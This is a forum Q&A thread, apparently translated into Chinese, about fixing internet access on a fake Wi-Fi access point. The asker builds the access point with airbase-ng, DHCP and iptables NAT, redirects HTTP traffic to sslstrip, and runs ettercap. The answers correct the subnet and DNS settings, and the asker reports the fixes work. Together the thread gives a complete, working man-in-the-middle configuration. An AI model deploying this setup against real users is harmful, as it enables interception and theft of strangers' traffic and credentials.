
我一直在嘗試設定一個假 AP 來進行測試。我成功地開始airbase-ng
工作並為客戶端設置了 DHCP 伺服器來獲取 IP 位址,一切正常。我的筆記型電腦有一個 AP 的外部 wifi 卡和一個用於互聯網的內部 wifi 卡。但是,當我啟動 AP 時,客戶端(我的手機)無法執行 Web 瀏覽器搜索,我的筆記型電腦也無法執行 Web 瀏覽器搜索,即使筆記型電腦有第二個 wifi 卡未處於監控模式。
這是我的配置:
sudo ifconfig wlan1 down
sudo ifconfig wlan1 up
sudo airbase-ng -c 11 -e ANET wlan1
sudo ifconfig at0 192.168.1.1 netmask 255.255.255.0
sudo ifconfig at0 mtu 1800
sudo route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
sudo iptables -P FORWARD ACCEPT
sudo iptables --append FORWARD --in-interface at0 -j ACCEPT
sudo iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sudo /etc/init.d/isc-dhcp-server start
ip_forwarding 已啟用。
這是來自一個教程。然後我運行 sslstrip 和 ettercap。
這是我的 DHCP 子網路配置
Authoritative;
Default-lease-time 600;
Max-lease-time 7200;
Subnet 192.168.1.0 netmask 255.255.255.0{
option routers 192.168.2.1;
option subnet-mask 255.255.255.0;
option domain-name "ANET";
option domain-name-servers 192.168.1.170;
range 192.168.1.2 192.168.1.40;
}
dhcpd 指令回應:
Multiple interfaces match the same subnet: wlan0 wlan1
Multiple interfaces match the same shared network: wlan0 wlan1
Multiple interfaces match the same subnet: wlan0 at0
Multiple interfaces match the same shared network: wlan0 at0
Multiple interfaces match the same subnet: wlan0 wlan1
Multiple interfaces match the same shared network: wlan0 wlan1
Multiple interfaces match the same subnet: wlan0 at0
Multiple interfaces match the same shared network: wlan0 at0
Multiple interfaces match the same subnet: wlan0 at0
Multiple interfaces match the same shared network: wlan0 at0
ettercap 顯示來自客戶端的 DHCP 請求和確認:
DHCP: [192.168.1.1] OFFER : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
DHCP: [192.168.1.1] OFFER : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
DHCP: [C0:BD:D1:15:2B:64] REQUEST 192.168.1.2
DHCP: [192.168.1.1] ACK : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
DHCP: [192.168.1.1] ACK : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
我的 wlan0 上的 IP 位址是 192.168.1.170。
編輯:
DHCP 設定:
Authoritative;
Default-lease-time 600;
Max-lease-time 7200;
Subnet 192.168.2.0 netmask 255.255.255.0{
option routers 192.168.2.1;
option subnet-mask 255.255.255.0;
option domain-name "ANET";
option domain-name-servers 192.168.1.170;
range 192.168.2.2 192.168.2.40;
}
iptables:
sudo ifconfig at0 192.168.2.1 netmask 255.255.255.0
sudo ifconfig at0 mtu 1800
sudo route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
sudo iptables -P FORWARD ACCEPT
sudo iptables --append FORWARD --in-interface at0 -j ACCEPT
sudo iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sudo /etc/init.d/isc-dhcp-server start
sudo sslstrip -f -p -k 10000
答案1
到目前為止,您已經記錄了兩個問題:
您的筆記型電腦兩側都有相同的 IP 子網路。您的筆記型電腦充當 NAT 網關,有點像增強型 IP 路由器。 IP 路由器需要在每一側都有不同的子網,否則它們不知道如何路由。
您已將 DHCP 伺服器設定為告訴您的 softAP 用戶端使用您的筆記型電腦作為其 DNS 伺服器,但您的筆記型電腦未設定為充當 DNS 伺服器或代理。
您可以透過將 SoftAP 用戶端的子網路變更為 192.168.2.0/24 來解決此問題,但保持 DHCP 伺服器進程告訴用戶端使用 192.168.1.1 作為 DNS 伺服器。這樣,他們的 DNS 請求將透過您的筆記型電腦 NAT 到達您的上游 NAT 網關,該網關上可能確實運行 DNS 代理服務。
答案2
為了解決這個問題。我按照斯皮夫的回答並嘗試了其他一些方法,最終使其發揮作用。
1)我依照Spiff的說法將DHCP設定檔中的IP子網路改為192.168.2.0/24。
2)我在iptables和option routers
DHCP設定檔中將網關設定為192.168.2.1
3)最後一塊:我在DHCP設定檔中將DNS更改為Google的8.8.8.8。我的 AP 可能阻止了將其用作 DNS 的功能...只是猜測